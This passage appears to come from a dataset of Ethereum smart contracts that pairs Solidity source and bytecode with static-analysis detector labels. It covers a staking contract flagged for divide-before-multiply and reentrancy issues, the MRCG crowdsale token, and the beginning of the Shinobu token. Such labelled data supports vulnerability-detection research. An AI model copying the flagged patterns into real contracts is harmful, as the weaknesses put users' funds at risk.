require(address(_regrewardContract) != address(0), "setting 0 to contract");
regrewardContract = _regrewardContract;
}
function changePerform(bool _bool) external onlyOwner{
perform = _bool;
}
} | 0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80638da5cb5b1161010f578063c3f344a8116100a2578063e5c42fd111610071578063e5c42fd114610476578063ef037b901461049c578063f2fde38b146104c2578063f83d08ba146104e8576101e5565b8063c3f344a814610423578063ca84d59114610449578063cc14d68814610466578063cf8204611461046e576101e5565b8063b53d6c24116100de578063b53d6c24146103d0578063b6ee290a146103ed578063bb5f747b146103f5578063bf9befb11461041b576101e5565b80638da5cb5b1461039c578063997664d7146103a4578063b0684318146103ac578063b147f40c146103b4576101e5565b80634baf782e116101875780634f49e655116101565780634f49e655146103325780637362d9c8146103515780637a75572c146103775780638ade8d8c14610394576101e5565b80634baf782e146102d65780634bc76334146102de5780634c5a628c146103045780634df9d6ba1461030c576101e5565b806320068139116101c3578063200681391461024e57806329652e86146102765780632c75bcda1461029357806348510671146102b0576101e5565b8063063731bb146101ea578063093a9fbc14610222578063146ca53114610246575b600080fd5b6102106004803603602081101561020057600080fd5b50356001600160a01b03166104f0565b60408051918252519081900360200190f35b61022a6105b8565b604080516001600160a01b039092168252519081900360200190f35b6102106105c7565b6102746004803603602081101561026457600080fd5b50356001600160a01b03166105cd565b005b6102106004803603602081101561028c57600080fd5b503561076f565b610274600480360360208110156102a957600080fd5b5035610781565b610210600480360360208110156102c657600080fd5b50356001600160a01b0316610a44565b610274610aa7565b610274600480360360208110156102f457600080fd5b50356001600160a01b0316610c87565b610274610d13565b6102106004803603602081101561032257600080fd5b50356001600160a01b0316610d1e565b6102746004803603602081101561034857600080fd5b50351515610e41565b6102746004803603602081101561036757600080fd5b50356001600160a01b0316610e6b565b6102746004803603602081101561038d57600080fd5b5035610ebb565b61022a610fb1565b61022a610fc0565b610210610fcf565b610274610fd5565b6103bc611137565b604080519115158252519081900360200190f35b610274600480360360208110156103e657600080fd5b5035611140565b610210611184565b6103bc6004803603602081101561040b57600080fd5b50356001600160a01b031661118a565b61021061119d565b6102106004803603602081101561043957600080fd5b50356001600160a01b03166111a3565b6102746004803603602081101561045f57600080fd5b50356111b5565b61022a6113b4565b6102106113c3565b6102746004803603602081101561048c57600080fd5b50356001600160a01b03166113c9565b6103bc600480360360208110156104b257600080fd5b50356001600160a01b0316611439565b610274600480360360208110156104d857600080fd5b50356001600160a01b031661148e565b610210611535565b60006001600160a01b0382166105375760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b600354604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b15801561058457600080fd5b505afa158015610598573d6000803e3d6000fd5b505050506040513d60208110156105ae57600080fd5b505190505b919050565b6003546001600160a01b031681565b600d5481565b6000546001600160a01b031633146105e457600080fd5b600054604080516370a0823160e01b815230600482015290516001600160a01b038085169363a9059cbb9391169184916370a08231916024808301926020929190829003018186803b15801561063957600080fd5b505afa15801561064d573d6000803e3d6000fd5b505050506040513d602081101561066357600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b505050506040513d60208110156106de57600080fd5b5051610731576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e2072657472696576696e6720746f6b656e73000000000000604482015290519081900360640190fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561076b573d6000803e3d6000fd5b5050565b60126020526000908152604090205481565b600260015414156107d9576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026001553360009081526011602052604090205481118015906107fd5750600081115b61084e576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b60065461085b90826115bc565b600655600061086933611605565b336000908152601160205260409020600481018054830190555490915061089090836115bc565b33600081815260116020908152604080832094855560018501869055600a546002860155600d546003958601559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b15801561090b57600080fd5b505af115801561091f573d6000803e3d6000fd5b505050506040513d602081101561093557600080fd5b5051610988576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a160075460ff16151560011415610a3c57600560009054906101000a90046001600160a01b03166001600160a01b031663436596c46040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610a2357600080fd5b505af1158015610a37573d6000803e3d6000fd5b505050505b505060018055565b60006001600160a01b038216610a8b5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b506001600160a01b031660009081526011602052604090205490565b60026001541415610aff576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260018190553360009081526011602052604090200154600a541115610c81576000610b2b33611605565b33600090815260116020526040902060040154909150610b4c908290611713565b33600081815260116020908152604080832060049081018490558054825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b158015610bb657600080fd5b505af1158015610bca573d6000803e3d6000fd5b505050506040513d6020811015610be057600080fd5b5051610c1d5760405162461bcd60e51b815260040180806020018281038252602c815260200180611c50602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a13360009081526011602052604090206001810191909155600d546003820155600a546002909101555b60018055565b6000546001600160a01b03163314610c9e57600080fd5b6001600160a01b038116610cf1576040805162461bcd60e51b81526020600482015260156024820152741cd95d1d1a5b99c80c081d1bc818dbdb9d1c9858dd605a1b604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b610d1c3361176d565b565b60006001600160a01b038216610d655760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b6001600160a01b03821660009081526011602090815260408083206003810154600c54915460001982018652601290945291842054600a54929493610dbe93610db892610db291906115bc565b906117af565b90611808565b600c546001600160a01b03861660009081526011602090815260408083205460001988018452601290925290912054600a549394509192610e0392610db291906115bc565b81610e0a57fe5b6001600160a01b0386166000908152601160205260409020600401549190069190910190610e39908290611713565b949350505050565b6000546001600160a01b03163314610e5857600080fd5b6007805460ff1916911515919091179055565b610e743361118a565b610eaf5760405162461bcd60e51b8152600401808060200182810382526040815260200180611d026040913960400191505060405180910390fd5b610eb88161184a565b50565b60048054604080516323b872dd60e01b8152339381019390935230602484015260448301849052516001600160a01b03909116916323b872dd9160648083019260209291908290030181600087803b158015610f1657600080fd5b505af1158015610f2a573d6000803e3d6000fd5b505050506040513d6020811015610f4057600080fd5b5051610f7d5760405162461bcd60e51b8152600401808060200182810382526030815260200180611d426030913960400191505060405180910390fd5b6000610f93600a610db8600954610db28661188c565b90506000610fa183836115bc565b9050610fac816118af565b505050565b6005546001600160a01b031681565b6000546001600160a01b031681565b600a5481565b600654600354604080516370a0823160e01b8152306004820152905160009361105e9390926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561102c57600080fd5b505afa158015611040573d6000803e3d6000fd5b505050506040513d602081101561105657600080fd5b5051906115bc565b600354600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b1580156110ba57600080fd5b505af11580156110ce573d6000803e3d6000fd5b505050506040513d60208110156110e457600080fd5b5051610eb8576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b60075460ff1681565b6111493361118a565b610f7d5760405162461bcd60e51b8152600401808060200182810382526040815260200180611d026040913960400191505060405180910390fd5b60095481565b600061119760028361199a565b92915050565b60065481565b600e6020526000908152604090205481565b6002600154141561120d576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600155600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561126c57600080fd5b505af1158015611280573d6000803e3d6000fd5b505050506040513d602081101561129657600080fd5b50516112d35760405162461bcd60e51b8152600401808060200182810382526032815260200180611c1e6032913960400191505060405180910390fd5b60006112e9600a610db8600854610db28661188c565b905060006112f783836115bc565b9050600061130433611605565b336000908152601160205260409020600481018054830190555490915061132c908390611713565b33600090815260116020526040902090815560018101829055600a546002820155600d546003909101556006546113639083611713565b60065561136f336113c9565b604080513381526020810186905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a15050600180555050565b6004546001600160a01b031681565b60085481565b60006113d482611439565b90508061076b5760108054600181019091557f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6720180546001600160a01b0384166001600160a01b0319909116179055336000908152600e602052604090204290555050565b6000805b601054811015611485576010818154811061145457fe5b6000918252602090912001546001600160a01b038481169116141561147d5760019150506105b3565b60010161143d565b50600092915050565b6000546001600160a01b031633146114a557600080fd5b6001600160a01b0381166114ea5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600f5481565b611545828261199a565b15611597576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b60006115fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a01565b9392505050565b60006001600160a01b03821661164c5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b6001600160a01b03821660009081526011602090815260408083206003810154600c54915460001982018652601290945291842054600a5492949361169993610db892610db291906115bc565b600c546001600160a01b03861660009081526011602090815260408083205460001988018452601290925290912054600a5493945091926116de92610db291906115bc565b816116e557fe5b6001600160a01b03959095166000908152601160205260409020600401805491909506019093555090919050565b6000828201838110156115fe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b611778600282611a98565b6040516001600160a01b038216907f0a8eb35e5ca14b3d6f28e4abf2f128dbab231a58b56e89beb5d636115001e16590600090a250565b6000826117be57506000611197565b828202828482816117cb57fe5b04146115fe5760405162461bcd60e51b8152600401808060200182810382526021815260200180611cbf6021913960400191505060405180910390fd5b60006115fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aff565b61185560028261153b565b6040516001600160a01b038216907f22380c05984257a1cb900161c713dd71d39e74820f1aea43bd3f1bdd2096129990600090a250565b60008061189a836064611b64565b90506000610e39612710610db88460646117af565b60006118d2600b546118cc600c54856117af90919063ffffffff16565b90611713565b905060006118eb6006548361180890919063ffffffff16565b905061190260065483611b7e90919063ffffffff16565b600b55600a546119129082611713565b600a55600d54600019016000908152601260205260409020546119359082611713565b600d805460009081526012602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a15050600d8054600101905550565b60006001600160a01b0382166119e15760405162461bcd60e51b8152600401808060200182810382526022815260200180611ce06022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b60008184841115611a905760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a55578181015183820152602001611a3d565b50505050905090810190601f168015611a825780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b611aa2828261199a565b611add5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c7c6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b60008183611b4e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611a55578181015183820152602001611a3d565b506000838581611b5a57fe5b0495945050505050565b6000818260018486010381611b7557fe5b04029392505050565b60006115fe83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525060008183611c0a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611a55578181015183820152602001611a3d565b50828481611c1457fe5b0694935050505056fe546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d207573657220666f72206c6f636b696e674552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c6545524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77526f6c65733a206163636f756e7420697320746865207a65726f206164647265737357686974656c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f742068617665207468652057686974656c69737441646d696e20726f6c65546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220322a290e4bcd3d4b34638f759727099682ff32a2b5764a0a2e1ecdc7e70799eb64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 838 |
0xef5f7a5977c19b5669df2e98cc813e81962686f5 | pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address constant public OWNER_ADDR = 0xb953b59A93348Fc9202039eC9766EccA6B53b604;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = OWNER_ADDR;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MRCG is StandardToken, Ownable {
// Constants
string public constant name = "Miracle gains";
string public constant symbol = "MRCG";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 530000000 * (10 ** uint256(decimals));
uint public amountRaised;
uint256 public buyPrice = 888;
bool public crowdsaleClosed;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[OWNER_ADDR] = INITIAL_SUPPLY;
emit Transfer(0x0, OWNER_ADDR, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public {
crowdsaleClosed = closebuy;
buyPrice = newBuyPrice;
}
function () external payable {
require(!crowdsaleClosed);
uint amount = msg.value ; // calculates the amount
amountRaised = amountRaised.add(amount);
_transfer(owner, msg.sender, amount.mul(buyPrice));
owner.transfer(amount);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
} | 0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461019c578063095ea7b31461022657806318160ddd1461025e57806323b872dd146102855780632ff2e9dc146102af578063313ce567146102c45780635f56b6fe146102ef578063632e1dfe14610309578063661884631461033a57806370a082311461035e5780637b3e5e7b1461037f5780638620410b146103945780638da5cb5b146103a957806395d89b41146103be578063a9059cbb146103d3578063ccb07cef146103f7578063d6bc1b391461040c578063d73dd62314610429578063dd62ed3e1461044d575b60065460009060ff161561011957600080fd5b50600454349061012f908263ffffffff61047416565b60045560035460055461015e91600160a060020a031690339061015990859063ffffffff61048716565b6104b0565b600354604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610198573d6000803e3d6000fd5b5050005b3480156101a857600080fd5b506101b16105b3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101eb5781810151838201526020016101d3565b50505050905090810190601f1680156102185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023257600080fd5b5061024a600160a060020a03600435166024356105ea565b604080519115158252519081900360200190f35b34801561026a57600080fd5b50610273610650565b60408051918252519081900360200190f35b34801561029157600080fd5b5061024a600160a060020a0360043581169060243516604435610656565b3480156102bb57600080fd5b506102736107cd565b3480156102d057600080fd5b506102d96107dd565b6040805160ff9092168252519081900360200190f35b3480156102fb57600080fd5b506103076004356107e2565b005b34801561031557600080fd5b5061031e61087f565b60408051600160a060020a039092168252519081900360200190f35b34801561034657600080fd5b5061024a600160a060020a0360043516602435610897565b34801561036a57600080fd5b50610273600160a060020a0360043516610987565b34801561038b57600080fd5b506102736109a2565b3480156103a057600080fd5b506102736109a8565b3480156103b557600080fd5b5061031e6109ae565b3480156103ca57600080fd5b506101b16109bd565b3480156103df57600080fd5b5061024a600160a060020a03600435166024356109f4565b34801561040357600080fd5b5061024a610ad5565b34801561041857600080fd5b506103076004351515602435610ade565b34801561043557600080fd5b5061024a600160a060020a0360043516602435610b0c565b34801561045957600080fd5b50610273600160a060020a0360043581169060243516610ba5565b8181018281101561048157fe5b92915050565b600082151561049857506000610481565b508181028183828115156104a857fe5b041461048157fe5b600160a060020a0383166000908152602081905260409020548111156104d557600080fd5b600160a060020a038216600090815260208190526040902054818101116104fb57600080fd5b600160a060020a038316600090815260208190526040902054610524908263ffffffff610bd016565b600160a060020a038085166000908152602081905260408082209390935590841681522054610559908263ffffffff61047416565b600160a060020a038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60408051808201909152600d81527f4d697261636c65206761696e7300000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561066d57600080fd5b600160a060020a03841660009081526020819052604090205482111561069257600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156106c257600080fd5b600160a060020a0384166000908152602081905260409020546106eb908363ffffffff610bd016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610720908363ffffffff61047416565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610762908363ffffffff610bd016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b01b667dd922443f75200000081565b601281565b600354600160a060020a031633146107f957600080fd5b80151561084057600354604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561083a573d6000803e3d6000fd5b5061087c565b600354604051600160a060020a039091169082156108fc029083906000818181858888f1935050505015801561087a573d6000803e3d6000fd5b505b50565b73b953b59a93348fc9202039ec9766ecca6b53b60481565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156108ec57336000908152600260209081526040808320600160a060020a0388168452909152812055610921565b6108fc818463ffffffff610bd016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60045481565b60055481565b600354600160a060020a031681565b60408051808201909152600481527f4d52434700000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610a0b57600080fd5b33600090815260208190526040902054821115610a2757600080fd5b33600090815260208190526040902054610a47908363ffffffff610bd016565b3360009081526020819052604080822092909255600160a060020a03851681522054610a79908363ffffffff61047416565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60065460ff1681565b600354600160a060020a03163314610af557600080fd5b6006805460ff191692151592909217909155600555565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b40908363ffffffff61047416565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082821115610bdc57fe5b509003905600a165627a7a72305820e67c766c4608592d268cce49f160893f4737162e950bd2bd21001ad25f4681d70029 | {"success": true, "error": null, "results": {}} | 839 |
0xe668eB01D37569895d1E1E9EA7bC5c8D372c84Dc | //SPDX-License-Identifier: MIT
// Telegram: t.me/ShinobuToken
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Shinobu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**6;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
string private constant _name = "Shinobu";
string private constant _symbol = "SHINOBU";
uint8 private constant _decimals = 6;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
